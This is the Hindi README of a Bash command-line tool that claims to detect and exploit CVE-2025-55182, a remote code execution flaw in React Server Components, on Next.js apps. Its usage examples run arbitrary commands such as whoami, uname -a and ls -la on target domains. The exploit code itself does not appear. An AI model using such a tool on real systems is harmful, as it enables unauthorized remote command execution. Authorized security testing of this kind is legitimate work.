CVE-2025-55182 स्कैनर

Next.js अनुप्रयोगों में CVE-2025-55182 (React Server Components RCE) का पता लगाने और शोषण करने के लिए सरल कमांड-लाइन टूल।

स्थापना

chmod +x scanner.sh

उपयोग

# Scan with default command (id)
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d example.com -c "whoami"

# With full URL
./scanner.sh -d https://example.com -c "uname -a"

विकल्प

• -d, --domain - लक्ष्य डोमेन/URL (आवश्यक)
• -c, --command - निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)

उदाहरण

# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com

# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"

# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"

आवश्यकताएँ

• Bash
• curl
• openssl

अस्वीकरण

यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने की अनुमति नहीं है।

संदर्भ

• CVE-2025-55182
• React Security Advisory